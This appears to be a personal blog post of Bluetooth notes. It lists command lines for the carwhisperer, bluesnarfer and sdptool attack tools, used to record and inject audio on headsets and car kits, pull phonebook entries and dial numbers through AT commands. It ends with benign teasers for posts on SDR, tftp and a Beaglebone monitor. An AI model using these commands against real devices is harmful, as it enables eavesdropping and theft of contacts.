Skip to main content

Bluetooth Notes

For Bluetooth on Asus EEE:

For Install:
install sox:  #sudo apt-get install sox
install bluetooth: #sudo apt-get install libbluetooth-dev
install festival
Install carwhisperer

#I moved to /usr/bin/ (original saved as
#I moved hcid.conf to /etc/bluetooth/hcid.conf (original saved as BACKUP_hcid.conf)

For Operation:
bt mnt # hciconfig hci0 up
bt mnt # hciconfig hci0 mode monitor
#btscanner (to scan for devices in area.  I didn't use this, but it comes with Backtrack)
#sdptool search HS ------this will look for handsets!!! 
#bluesnarfer (to pull info off of those devices, i.e. phonebook)
(for example#bluesnarfer -r 1-100 -C 4 - FF:FF:FF:FF:FF:FF)

#carwhisperer hci0 [channel] takes a recording
#carwhisperer hci0 test.raw out.raw mac
#./carwhisperer 0 eargasm.raw /tmp/out.raw 00:03:89:AA:5A:AC

#bluedrift_sniff (good scanner)

#hcitool info [mac] --- requests information from the device
#hcitool inq [ will inquire what is around]
#sdptool browse [mac] --- see what services are available

#sox -t raw -r 8000 -c 1 -s -w -t wav -r 44100 -c 2 out.wav --to change the raw to a wav file
#sox -t raw -r 8000 -c 1 -s -w message.raw -t ossdsp /dev/dsp ----to play message
#sox -t wav -r 44100 -c 2 -t raw -r 8000 -c 1 -s -w message.raw-----to make your own message (skip wav options if having proglems)
#sox -t wav -t raw -r 8000 -c 1 -s -w message.raw-----to make your own message

#echo "It's such a beautiful day! Why are you in front of the computer?" | text2wave -scale 50 -o beautiful_day.wav--------- to use festival to make your file
#echo "It's such a beautiful day! Why are you in front of the computer?" | text2wave -o beautiful_day.wav--------- to use festival to make your file

This just plays what you type:
#echo "It's such a beautiful day! Why are you in front of the computer?" | festival --tts
root@john-asus:/home/john# cd carwhisperer-0.2/
carwhisperer-0.2# clear

#rfcomm connect 0 mac channel---- to connect to a device.  If succcessful use at cmds:
          #at+gcap      --request complete capability list
          #at+gmi       --requests manufacturer
          #at+gmm       --requests model
          #at+gmr       --requests revision
          #at+cpbr=10   --pulls contact number 10 from phone
          #atd          --dial a phonenumber
          #ate          --echo

For BT notes for BackTrack3 CD, check out BT3Guide.txt


Popular posts from this blog

ADS-B plotting with Kali (and other SDR goodies)

Recently I wanted to try some Software Defined Radio stuff.   
I had a RTL-SDR, FM+DAB, DVB-T USB Stick Set with RTL2832U & R820T. that I got from:
But, even though this dongle would break out FM radio stations, and ATC frequencies (like the local Ground Control, tower, and even ATIS), which was cool, it wouldn't break out ADS-B.   
Thus, I bought a Vantech Green Mini RTL2832U R820T DVB-T SDR DAB FM USB DIGITAL TV Tuner Receiver RTL-SDR Project + DAB dongle Tuner MCX Input from Amazon, and tried this.  
This dongle was able to listen to the 1090MHz frequency required for ADS-B (as it goes from 25MHz to 1700MHz).  There were tons of Windows programs out there for breaking out and plotting ADS-B Mode S broadcasts, but not many for Linux.  
For Kali Linux, here's how I got it running and plotting planes around my home:
0) before you start, you should do an apt-get update to ensure you hav…

atftpd vs tftpd-hpa

Recently I was trying to tftp files from a Windows computer to a Kali box.   One version of Windows worked, but another didn't.    After much troubleshooting, here were my symptoms:

I could tftp a file from-to any Kali box from-to another Kali box
I could NOT tftp files to a specific Windows 7 box from any Kali box
I could NOT tftp files to a Chrooted-Ubuntu-Chromebook box from a Kali box

After MUCH troubleshooting, going through every setting in atftpd, it seemed like it literally was a client OS problem.  Different clients simply would not download files---unacceptable.

Thus, I switched to tftpd-hpa.   To install:
apt-get install tftpd-hpa

files go to/come from /srv/tftp, but it needs to be a tftp user. Thus, I needed to:
chroot -R /srv/tftp

Also, if you want to be able to put files ON the tftp server (from a client), you need to modify /etc/default/tftpd-hpa:
change "TFTP_OPTIONS="--secure" to "TFTP_OPTIONS="--secure --create"

I also changed the IP li…

Temper Temperature monitor on a Beaglebone Black

Beaglebone Black as a temperature monitor:

Recently I wanted to monitor the temperature of my shed.  I thought I'd use a small computer such as a Raspberry Pi or a Beaglebone or Odroid.

My Raspberry Pi boxes were all in use, so I grabbed my Beaglebone, which was doing nothing.

I flashed it with the Debian9.32018-03-054GB SDIoTimage, but that seemed like it was running lots of bloatware and the ethernet interface wouldn't take a static IP with /etc/network/interfaces.

So I went with the Debian9.32018-01-284GB SDLXQTi image instead.  I still had the same problem, that lots of junk was running, and I couldn't configure my interface by modifying /etc/network/interfaces

So my first step was to get rid of all the bloatware.  If you're using a Raspberry Pi or something, you can skip this and just go to the second step below

STEP 1--Remove Blotatware from Beaglebone Black:

With some searching, I came across this post:…